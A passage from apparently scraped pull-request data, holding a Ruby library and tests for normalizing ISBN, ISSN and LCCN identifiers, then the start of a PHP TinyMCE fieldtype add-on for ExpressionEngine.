self.convert_to_10 isbn\n      isbn = reduce_to_basics isbn, [10,13]\n\n      # Already 10 digits? Just return\n      return isbn if isbn.size == 10\n\n      # Can't be converted to ISBN-10? Bail\n      return nil unless isbn[0..2] == '978'\n\n      prefix = isbn[3..11]\n      return prefix + self.checkdigit(prefix + '0')\n    end\n\n    # Return an array of the ISBN13 and ISBN10 (in that order) for the passed in value. You'll\n    # only get one value back if it's a 13-digit\n    # ISBN that can't be converted to an ISBN10.\n    # @param [String] isbn The original ISBN, in 10-character or 13-digit format\n    # @return [Array<String,String>, nil] Either the (one or two) normalized ISBNs, or nil if\n    # it can't be recognized.\n    #\n    # @example Get the normalized values and index them (if valid) or original value (if not)\n    #   norms = StdNum::ISBN.allNormalizedValues(rawisbn)\n    #   doc['isbn'] = norms ? norms : [rawisbn]\n    def self.allNormalizedValues isbn\n      isbn = reduce_to_basics isbn, [10,13]\n      return [] unless isbn\n      case isbn.size\n      when 10\n        return [self.convert_to_13(isbn), isbn]\n      when 13\n        return [isbn, self.convert_to_10(isbn)].compact\n      end\n    end\n\n    # Checks for a valid ISBN13 prefix\n    # ISBN13 always starts with 978 or 979. For example: 1000000000012 has a valid check digit, but\n    # is not a valid ISBN13.\n    # @param [String] isbn13 The ISBN13 to be checked.\n    # @return [Boolean] If true then the prefix is valid\n    def self.valid_isbn13_prefix?(isbn13)\n      return false unless isbn13.size == 13\n      ['978', '979'].map { |prefix| isbn13.start_with?(prefix) }.any?\n    end\n  end\n\n  # Validate and and normalize ISSNs\n  module ISSN\n    extend Helpers\n\n\n    # Does it even look like an ISSN?\n    def self.at_least_trying? issn\n      return !(reduce_to_basics(issn, 8))\n    end\n\n\n    # Compute the checkdigit of an ISSN\n    # @param [String] issn The ISSN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the number has already been through reduce_to_basic\n    # @return [String] the one-character checkdigit\n\n    def self.checkdigit issn, preprocessed = false\n      issn = reduce_to_basics issn, 8 unless preprocessed\n      return nil unless issn\n\n      digits = issn[0..6].split(//).map {|i| i.to_i}\n      checkdigit = 0\n      (0..6).each do |i|\n        checkdigit += digits[i] * (8 - i)\n      end\n      checkdigit = checkdigit % 11\n      return '0' if checkdigit == 0\n      checkdigit = 11 - checkdigit\n      return 'X' if checkdigit == 10\n      return checkdigit.to_s\n    end\n\n    # Check to see if the checkdigit is correct\n    # @param [String] issn The ISSN (we'll try to clean it up if possible)\n    # @param [Boolean] preprocessed Set to true if the number has already been through reduce_to_basic\n    # @return [Boolean] Whether or not the checkdigit is correct. Sneakily, return 'nil' for\n    #  values that don't even look like ISBNs, and 'false' for those that look possible but\n    #  don't normalize / have bad checkdigits\n\n    def self.valid? issn, preprocessed = false\n      issn = reduce_to_basics issn, 8 unless preprocessed\n      return nil unless issn\n      return issn[-1..-1] == self.checkdigit(issn, true)\n    end\n\n\n\n    # Make sure it's valid, remove the dashes, uppercase the X, and return\n    # @param [String] rawissn The ISSN to normalize\n    # @return [String, nil] the normalized ISSN, or nil on failure\n    def self.normalize rawissn\n      issn = reduce_to_basics rawissn, 8\n      if issn and valid?(issn, true)\n        return issn\n      else\n        return nil\n      end\n    end\n\n\n\n  end\n\n  # Validate and and normalize LCCNs\n  module LCCN\n\n\n    # Get a string ready for processing as an LCCN\n    # @param [String] str The possible lccn\n    # @return [String] The munged string, ready for normalization\n\n    def self.reduce_to_basic str\n      rv = str.gsub(/\\s/, '')  # ditch spaces\n      rv.gsub!('http://lccn.loc.gov/', '') # remove URI prefix\n      rv.gsub!(/\\/.*$/, '') # ditch everything after the first '/' (including the slash)\n      return rv\n    end\n\n    # Normalize based on data at http://www.loc.gov/marc/lccn-namespace.html#syntax\n    # @param [String] rawlccn The possible LCCN to normalize\n    # @return [String, nil] the normalized LCCN, or nil if it looks malformed\n    def self.normalize rawlccn\n      lccn = reduce_to_basic(rawlccn)\n      # If there's a dash in it, deal with that.\n      if lccn =~ /^(.*?)\\-(.+)/\n        pre =  $1\n        post = $2\n        return nil unless post =~ /^\\d+$/ # must be all digits\n        lccn = \"%s%06d\" % [pre, post.to_i]\n      end\n\n      if valid?(lccn, true)\n        return lccn\n      else\n        return nil\n      end\n    end\n\n    # The rules for validity according to http://www.loc.gov/marc/lccn-namespace.html#syntax:\n    #\n    # A normalized LCCN is a character string eight to twelve characters in length. (For purposes of this description characters are ordered from left to right -- \"first\" means \"leftmost\".)\n    # The rightmost eight characters are always digits.\n    # If the length is 9, then the first character must be alphabetic.\n    # If the length is 10, then the first two characters must be either both digits or both alphabetic.\n    # If the length is 11, then the first character must be alphabetic and the next two characters must be either both digits or both alphabetic.\n    # If the length is 12, then the first two characters must be alphabetic and the remaining characters digits.\n    #\n    # @param [String] lccn The lccn to attempt to validate\n    # @param [Boolean] preprocessed Set to true if the number has already been normalized\n    # @return [Boolean] Whether or not the syntax seems ok\n\n    def self.valid? lccn, preprocessed = false\n      lccn = normalize(lccn) unless preprocessed\n      return false unless lccn\n      clean = lccn.gsub(/\\-/, '')\n      suffix = clean[-8..-1] # \"the rightmost eight characters are always digits\"\n      return false unless suffix and suffix =~ /^\\d+$/\n      case clean.size # \"...is a character string eight to twelve digits in length\"\n      when 8\n        return true\n      when 9\n        return true if clean =~ /^[A-Za-z]/\n      when 10\n        return true if clean =~ /^\\d{2}/ or clean =~ /^[A-Za-z]{2}/\n      when 11\n        return true if clean =~ /^[A-Za-z](\\d{2}|[A-Za-z]{2})/\n      when 12\n        return true if clean =~ /^[A-Za-z]{2}\\d{2}/\n      else\n        return false\n      end\n\n      return false\n    end\n\n  end\n\nend\n\n", "spec/library_stdnums_spec.rb": "require 'spec_helper'\n\ndescribe \"Extract\" do\n  it \"should leave a number alone\" do\n    StdNum::ISBN.extractNumber('1234567').must_equal '1234567'\n  end\n\n  it \"should skip leading and trailing crap\" do\n    StdNum::ISBN.extractNumber(' 1234567 (online)').must_equal '1234567'\n  end\n\n  it \"should allow hyphens\" do\n    StdNum::ISBN.extractNumber(' 1-234-5').must_equal '12345'\n  end\n\n  it \"should return nil on a non-match\" do\n    StdNum::ISBN.extractNumber('bill dueber').must_equal nil\n  end\n\n  it \"should allow a trailing X\" do\n    StdNum::ISBN.extractNumber('1-234-5-X').must_equal '12345X'\n  end\n\n  it \"should upcase any trailing X\" do\n    StdNum::ISBN.extractNumber('1-234-56-x').must_equal '123456X'\n  end\n\n  it \"only allows a single trailing X\" do\n    StdNum::ISBN.extractNumber('123456-X-X').must_equal '123456X'\n  end\n\n  it \"doesn't allow numbers that are too short\" do\n    StdNum::ISBN.extractNumber('12345').must_equal nil\n  end\n\n  let(:identifiers_string) { '9780987115423 (print ed) 9780987115430 (web ed)' }\n  it \"will extract multiple identifiers\" do\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string).must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string).count.must_equal 2\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string)[0].must_equal '9780987115423'\n    StdNum::ISBN.extract_multiple_numbers(identifiers_string)[1].must_equal '9780987115430'\n  end\n\n  let(:string_with_no_identifiers) { 'This has no identifiers' }\n  it \"will return an empty array when no identifiers are in the supplied string \" do\n    StdNum::ISBN.extract_multiple_numbers(string_with_no_identifiers).must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers(string_with_no_identifiers).count.must_equal 0\n\n    StdNum::ISBN.extract_multiple_numbers('').must_be_kind_of Array\n    StdNum::ISBN.extract_multiple_numbers('').count.must_equal 0\n  end\n  it \"skips over short prefixing numbers\" do\n    StdNum::ISBN.extractNumber('ISBN13: 1234567890123').must_equal '1234567890123'\n  end\n\nend\n\n\ndescribe \"ISBN\" do\n  it \"computes 10-digit checksum\" do\n    StdNum::ISBN.checkdigit('0-306-40615-X').must_equal '2'\n  end\n\n  it \"correctly uses X for checksum\" do\n    StdNum::ISBN.checkdigit('061871460X').must_equal 'X'\n  end\n\n  it \"finds a zero checkdigit\" do\n    StdNum::ISBN.checkdigit('0139381430').must_equal '0'\n  end\n\n  it \"computes 13-digit checksum\" do\n    StdNum::ISBN.checkdigit('9780306406157').must_equal '7'\n  end\n\n  it \"computes a 13-digit checksum that is 0\" do\n    StdNum::ISBN.checkdigit('9783837612950').must_equal '0'\n  end\n\n  it \"finds a good number valid\" do\n    StdNum::ISBN.valid?('9780306406157').must_equal true\n  end\n\n  it \"says a good number is trying\" do\n    StdNum::ISBN.at_least_trying?('9780306406157').must_equal true\n  end\n\n  it \"says bad data is not trying\" do\n    StdNum::ISBN.at_least_trying?('978006406157').must_equal false\n    StdNum::ISBN.at_least_trying?('406157').must_equal false\n    StdNum::ISBN.at_least_trying?('$22').must_equal false\n    StdNum::ISBN.at_least_trying?('hello').must_equal false\n  end\n\n\n  it \"finds a bad number invalid\" do\n    StdNum::ISBN.valid?('9780306406154').must_equal false\n  end\n\n  it \"returns nil when computing checksum for bad ISBN\" do\n    StdNum::ISBN.checkdigit('12345').must_equal nil\n  end\n\n  it \"converts 10 to 13\" do\n    StdNum::ISBN.convert_to_13('0-306-40615-2').must_equal '9780306406157'\n  end\n\n  it \"passes through 13 digit number instead of converting to 13\" do\n    StdNum::ISBN.convert_to_13('9780306406157').must_equal '9780306406157'\n  end\n\n  it \"converts 13 to 10\" do\n    StdNum::ISBN.convert_to_10('978-0-306-40615-7').must_equal '0306406152'\n  end\n\n  it \"normalizes\" do\n    StdNum::ISBN.normalize('0-306-40615-2').must_equal '9780306406157'\n    StdNum::ISBN.normalize('0-306-40615-X').must_equal nil\n    StdNum::ISBN.normalize('ISBN: 978-0-306-40615-7').must_equal '9780306406157'\n    StdNum::ISBN.normalize('ISBN: 978-0-306-40615-3').must_equal nil\n  end\n\n  it \"gets both normalized values\" do\n    a = StdNum::ISBN.allNormalizedValues('978-0-306-40615-7')\n    a.sort.must_equal ['9780306406157', '0306406152' ].sort\n\n    a = StdNum::ISBN.allNormalizedValues('0-306-40615-2')\n    a.sort.must_equal ['9780306406157', '0306406152' ].sort\n  end\n\n  it \"identifies an invalid ISBN13 due to the prefix\" do\n    StdNum::ISBN.valid_isbn13_prefix?('9780000000002').must_equal true\n    StdNum::ISBN.valid?('1000000000012').must_equal false\n  end\n\nend\n\n\n\ndescribe 'ISSN' do\n  it \"computes checksum\" do\n    StdNum::ISSN.checkdigit('0378-5955').must_equal '5'\n  end\n\n  it \"normalizes\" do\n    StdNum::ISSN.normalize('0378-5955').must_equal '03785955'\n  end\nend\n\n\ndescribe 'LCCN basics' do\n\n  # Tests take from http://www.loc.gov/marc/lccn-namespace.html#syntax\n  test = {\n    \"n78-890351\" => \"n78890351\",\n    \"n78-89035\" => \"n78089035\",\n    \"n 78890351 \" => \"n78890351\",\n    \" 85000002 \" => \"85000002\",\n    \"85-2 \" => \"85000002\",\n    \"2001-000002\" => \"2001000002\",\n    \"75-425165//r75\" => \"75425165\",\n    \" 79139101 /AC/r932\" => \"79139101\",\n  }\n\n  test.each do |k, v|\n    it \"normalizes #{k}\" do\n      StdNum::LCCN.normalize(k.dup).must_equal v\n    end\n  end\n\n  it \"validates correctly\" do\n    StdNum::LCCN.valid?(\"n78-890351\").must_equal true\n    StdNum::LCCN.valid?(\"n78-89035100444\").must_equal false, \"Too long\"\n    StdNum::LCCN.valid?(\"n78\").must_equal false, \"Too short\"\n    StdNum::LCCN.valid?(\"na078-890351\").must_equal false, \"naa78-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"n078-890351\").must_equal false, \"n078-890351 should start with two letters or two digits\"\n    StdNum::LCCN.valid?(\"na078-890351\").must_equal false, \"na078-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"0an78-890351\").must_equal false, \"0an78-890351 should start with three letters or digits\"\n    StdNum::LCCN.valid?(\"n78-89c0351\").must_equal false, \"n78-89c0351 has a letter after the dash\"\n  end\n\n\nend\n\n\ndescribe \"LCCN tests from Business::LCCN perl module\" do\n  tests = [\n    {  :orig => 'n78-890351',\n                 :canonical => 'n  78890351 ',\n                 :normalized => 'n78890351',\n                 :prefix => 'n',\n                 :year_cataloged => 1978,\n                 :serial => '890351',\n              },\n              {  :orig => 'n 78890351 ',\n                 :canonical => 'n  78890351 ',\n                 :normalized => 'n78890351',\n                 :prefix => 'n',\n                 :year_cataloged => 1978,\n                 :serial => '890351',\n              },\n              {  :orig => ' 85000002 ',\n                 :canonical => '   85000002 ',\n                 :normalized => '85000002',\n                 :year_cataloged => 1985,\n                 :serial => '000002',\n              },\n              {  :orig => '85-2 ',\n                 :canonical => '   85000002 ',\n                 :normalized => '85000002',\n                 :year_cataloged => 1985,\n                 :serial => '000002',\n              },\n              {  :orig => '2001-000002',\n                 :canonical => '  2001000002',\n                 :normalized => '2001000002',\n                 :year_cataloged => 2001,\n                 :serial => '000002',\n              },\n              {  :orig => '75-425165//r75',\n                 :canonical => '   75425165 //r75',\n                 :normalized => '75425165',\n                 :prefix => '',\n                 :year_cataloged => nil,\n                 :serial => '425165',\n                 :revision_year => 1975,\n                 :revision_year_encoded => '75',\n                 :revision_number => nil,\n              },\n              {  :orig => ' 79139101 /AC/r932',\n                 :canonical => '   79139101 /AC/r932',\n                 :normalized => '79139101',\n                 :prefix => '',\n                 :year_cataloged => nil,\n                 :serial => '139101',\n                 :suffix_encoded => '/AC',\n                 :revision_year => 1993,\n                 :revision_year_encoded => '93',\n                 :revision_number => 2,\n              },\n              {  :orig => '89-4',\n                 :canonical => '   89000004 ',\n                 :normalized => '89000004',\n                 :year_cataloged => 1989,\n                 :serial => '000004',\n              },\n              {  :orig => '89-45',\n                 :canonical => '   89000045 ',\n                 :normalized => '89000045',\n                 :year_cataloged => 1989,\n                 :serial => '000045',\n              },\n              {  :orig => '89-456',\n                 :canonical => '   89000456 ',\n                 :normalized => '89000456',\n                 :year_cataloged => 1989,\n                 :serial => '000456',\n              },\n              {  :orig => '89-1234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '89-001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '89001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '2002-1234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '2002-001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '   89001234 ',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => '  2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89-1234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89-001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a89001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002-1234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002-001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 89001234 ',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 89-001234 ',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'a 2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89-1234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89-001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab89001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002-1234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002-001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 89001234 ',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'ab 89-1234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89-1234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89-001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'abc89001234 ',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/89001234',\n                 :canonical => '   89001234 ',\n                 :normalized => '89001234',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/a89001234',\n                 :canonical => 'a  89001234 ',\n                 :normalized => 'a89001234',\n                 :serial => '001234',\n                 :prefix => 'a',\n                 :year_cataloged => 1989,\n              },\n              {  :orig => 'http://lccn.loc.gov/ab89001234',\n                 :canonical => 'ab 89001234 ',\n                 :normalized => 'ab89001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/abc89001234',\n                 :canonical => 'abc89001234 ',\n                 :normalized => 'abc89001234',\n                 :prefix => 'abc',\n                 :year_cataloged => 1989,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/2002001234',\n                 :canonical => '  2002001234',\n                 :normalized => '2002001234',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/a2002001234',\n                 :canonical => 'a 2002001234',\n                 :normalized => 'a2002001234',\n                 :prefix => 'a',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => 'http://lccn.loc.gov/ab2002001234',\n                 :canonical => 'ab2002001234',\n                 :normalized => 'ab2002001234',\n                 :prefix => 'ab',\n                 :year_cataloged => 2002,\n                 :serial => '001234',\n              },\n              {  :orig => '00-21595',\n                 :canonical => '   00021595 ',\n                 :normalized => '00021595',\n                 :year_cataloged => 2000,\n                 :serial => '021595',\n              },\n              {  :orig => '2001001599',\n                 :canonical => '  2001001599',\n                 :normalized => '2001001599',\n                 :year_cataloged => 2001,\n                 :serial => '001599',\n              },\n              {  :orig => '99-18233',\n                 :canonical => '   99018233 ',\n                 :normalized => '99018233',\n                 :year_cataloged => 1999,\n                 :serial => '018233',\n              },\n              {  :orig => '98000595',\n                 :canonical => '   98000595 ',\n                 :normalized => '98000595',\n                 :year_cataloged => 1898,\n                 :serial => '000595',\n              },\n              {  :orig => '99005074',\n                 :canonical => '   99005074 ',\n                 :normalized => '99005074',\n                 :year_cataloged => 1899,\n                 :serial => '005074',\n              },\n              {  :orig => '00003373',\n                 :canonical => '   00003373 ',\n                 :normalized => '00003373',\n                 :year_cataloged => 1900,\n                 :serial => '003373',\n              },\n              {  :orig => '01001599',\n                 :canonical => '   01001599 ',\n                 :normalized => '01001599',\n                 :year_cataloged => 1901,\n                 :serial => '001599',\n              },\n              {  :orig => '   95156543 ',\n                 :canonical => '   95156543 ',\n                 :normalized => '95156543',\n                 :year_cataloged => 1995,\n                 :serial => '156543',\n              },\n              {  :orig => '   94014580 /AC/r95',\n                 :canonical => '   94014580 /AC/r95',\n                 :normalized => '94014580',\n                 :year_cataloged => 1994,\n                 :serial => '014580',\n                 :suffix_encoded => '/AC',\n                 :revision_year_encoded => '95',\n                 :revision_year => 1995,\n              },\n              {  :orig => '   79310919 //r86',\n                 :canonical => '   79310919 //r86',\n                 :normalized => '79310919',\n                 :year_cataloged => 1979,\n                 :serial => '310919',\n                 :revision_year_encoded => '86',\n                 :revision_year => 1986,\n              },\n              {  :orig => 'gm 71005810  ',\n                 :canonical => 'gm 71005810 ',\n                 :normalized => 'gm71005810',\n                 :prefix => 'gm',\n                 :year_cataloged => 1971,\n                 :serial => '005810',\n              },\n              {  :orig => 'sn2006058112  ',\n                 :canonical => 'sn2006058112',\n                 :normalized => 'sn2006058112',\n                 :prefix => 'sn',\n                 :year_cataloged => 2006,\n                 :serial => '058112',\n              },\n              {  :orig => 'gm 71-2450',\n                 :canonical => 'gm 71002450 ',\n                 :normalized => 'gm71002450',\n                 :prefix => 'gm',\n                 :year_cataloged => 1971,\n                 :serial => '002450',\n              },\n              {  :orig => '2001-1114',\n                 :canonical => '  2001001114',\n                 :normalized => '2001001114',\n                 :year_cataloged => 2001,\n                 :serial => '001114',\n              },\n  ]\n  tests.each do |h|\n    it \"normalizes #{h[:orig]}\" do\n      StdNum::LCCN.normalize(h[:orig]).must_equal h[:normalized], \"#{h[:orig]} doesn't normalize to #{h[:normalized]}\"\n    end\n  end\nend\n\n"}}
{"repo": "newism/nsm.tiny_mce.ee_addon", "pr_number": 16, "title": "Avoid developer log warning in EE 2.6 and up", "state": "closed", "merged_at": "2013-07-17T09:42:45Z", "additions": 1, "deletions": 1, "files_changed": ["ft.nsm_tiny_mce.php"], "files_before": {"ft.nsm_tiny_mce.php": "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n\n/**\n * NSM TinyMCE Fieldtype\n *\n * @package\t\t\tNsmTinyMCE\n * @version\t\t\t1.1.1\n * @author\t\t\tLeevi Graham <http://leevigraham.com> - Technical Director, Newism\n * @copyright \t\tCopyright (c) 2007-2010 Newism <http://newism.com.au>\n * @license \t\tCommercial - please see LICENSE file included with this distribution\n * @link\t\t\thttp://ee-garage.com/nsm-tiny-mce\n * @see\t\t\t\thttp://expressionengine.com/public_beta/docs/development/fieldtypes.html\n */\nclass Nsm_tiny_mce_ft extends EE_Fieldtype\n{\n\t/**\n\t * Field info - Required\n\t *\n\t * @access public\n\t * @var array\n\t */\n\tpublic $info = array(\n\t\t'name'\t\t=> 'NSM TinyMCE',\n\t\t'version'\t=> '1.1.1'\n\t);\n\n\t/**\n\t * The field settings array\n\t *\n\t * @access public\n\t * @var array\n\t */\n\tpublic $settings = array();\n\n\t/**\n\t * Path to the TinyMCE config files. Set in the constructor\n\t *\n\t * @access private\n\t * @var string\n\t */\n\tprivate $tiny_mce_config_path = \"\";\n\n\t/**\n\t * The field type - used for form field prefixes. Must be unique and match the class name. Set in the constructor\n\t *\n\t * @access private\n\t * @var string\n\t */\n\tprivate $field_type = '';\n\n\t/**\n\t * Constructor\n\t *\n\t * @access public\n\t *\n\t * Calls the parent constructor\n\t * Sets the tiny_mce_config_path using the PATH_THRID variable\n\t */\n\tpublic function __construct()\n\t{\n\t\tparent::EE_Fieldtype();\n\n\t\t$this->tiny_mce_config_path = PATH_THIRD_THEMES . \"nsm_tiny_mce/scripts/tiny_mce_config/\";\n\n\t\t$this->field_type = $this->addon_id = strtolower(substr(__CLASS__, 0, -3));\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]))\n\t\t{\n\t\t\t$this->EE->session->cache[__CLASS__]['loaded_configs'] = array();\n\t\t}\n\t}\n\n\t/**\n\t * Replaces the custom field tag\n\t *\n\t * @access public\n\t * @param $data string Contains the field data (or prepped data, if using pre_process)\n\t * @param $params array Contains field parameters (if any)\n\t * @param $tagdata mixed Contains data between tag (for tag pairs) FALSE for single tags\n\t * @return string The HTML replacing the tag\n\t *\n\t */\n\tpublic function replace_tag($data, $params = FALSE, $tagdata = FALSE)\n\t{\n\t\treturn $data;\n\t}\n\n\t/**\n\t * Display the field in the publish form\n\t *\n\t * @access public\n\t * @param $data String Contains the current field data. Blank for new entries.\n\t * @return String The custom field HTML\n\t *\n\t * Includes the TinyMCE base script and the field specific configuration.\n\t * Returns a standard textarea with a configuration specific class\n\t */\n\tpublic function display_field($data, $field_id = false)\n\t{\n\t\t$this->_addConfJs($this->settings[\"conf\"]);\n\n\t\tif(!$field_id)\n\t\t\t$field_id = $this->field_name;\n\n\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">'\n\t\t\t\t\t\t\t\t\t\t. 'tinyMCE.settings = NsmTinyMCEConfigs[\"'.substr($this->settings[\"conf\"], 0, -3).'\"];'\n\t\t\t\t\t\t\t\t\t\t. 'tinyMCE.execCommand(\"mceAddControl\", true, \"'.$field_id.'\");'\n\t\t\t\t\t\t\t\t\t. '</script>');\n\n\t\treturn form_textarea(array(\n\t\t\t'name'\t=> $this->field_name,\n\t\t\t'id'\t=> $field_id,\n\t\t\t'value'\t=> $data,\n\t\t\t'rows' => ' ',\n\t\t\t'style' => \"height: {$this->settings['height']}px\"\n\t\t));\n\t}\n\n\t/**\n\t * Displays the cell\n\t *\n\t * @access public\n\t * @param $data The cell data\n\t */\n\tpublic function display_cell($data)\n\t{\n\t\t$this->_addConfJs($this->settings[\"conf\"]);\n\n\t\tif(!isset($this->EE->session->cache[__CLASS__]['cell_js_loaded']))\n\t\t{\n\t\t\t$theme_url = $this->_getThemeUrl();\n\t\t\t$this->EE->cp->add_to_foot(\"<script src='{$theme_url}/scripts/matrix2.js' type='text/javascript' charset='utf-8'></script>\");\n\t\t\t$this->EE->session->cache[__CLASS__]['cell_js_loaded'] = TRUE;\n\t\t}\n\n\t\t$this->EE->cp->add_to_foot('<script type=\"text/javascript\">NsmTinyMCEColConfig[\"col_id_'.$this->col_id.'\"] = \"'.substr($this->settings[\"conf\"], 0, -3).'\"</script>');\n\n\t\treturn '<textarea name=\"'.$this->cell_name.'\" id=\"'.$this->col_id.'\" style=\"height: '.$this->settings['height'].'px\">'.$data.'</textarea>';\n\t}\n\n\t/**\n\t * Displays the Low Variable field\n\t *\n\t * @access public\n\t * @param $var_data The variable data\n\t * @see http://loweblog.com/software/low-variables/docs/fieldtype-bridge/\n\t */\n\tpublic function display_var_field($var_data)\n\t{\n\t\treturn $this->display_field($var_data, \"nsm_tiny_mce_\"  . substr($this->field_name, 4, 1));\n\t}\n\n\t/**\n\t * Publish form validation\n\t *\n\t * @param $data array Contains the submitted field data.\n\t * @return mixed TRUE or an error message\n\t */\n\tpublic function validate($data)\n\t{\n\t\treturn TRUE;\n\t}\n\n\t/**\n\t * Default field settings\n\t *\n\t * @access private\n\t * @return The default field settings\n\t */\n\tprivate function _defaultFieldSettings(){\n\t\treturn array(\n\t\t\t\"conf\" => FALSE,\n\t\t\t\"height\" => 300\n\t\t);\n\t}\n\n\t/**\n\t * Save the custom field settings\n\t *\n\t * @param $data array Not sure what this is yet, probably the submitted post data.\n\t * @return boolean Valid or not\n\t */\n\tpublic function save_settings($field_settings)\n\t{\n\t\t$field_settings = array_merge($this->_defaultFieldSettings(), $this->EE->input->post('nsm_tiny_mce'));\n\n\t\t// Force formatting\n\t\t$field_settings['field_fmt'] = 'none';\n\t\t$field_settings['field_show_fmt'] = 'n';\n\t\t$field_settings['field_type'] = 'nsm_tiny_mce';\n\n\t\t// Cleanup\n\t\tunset($_POST['nsm_tiny_mce']);\n\t\tforeach (array_keys($field_settings) as 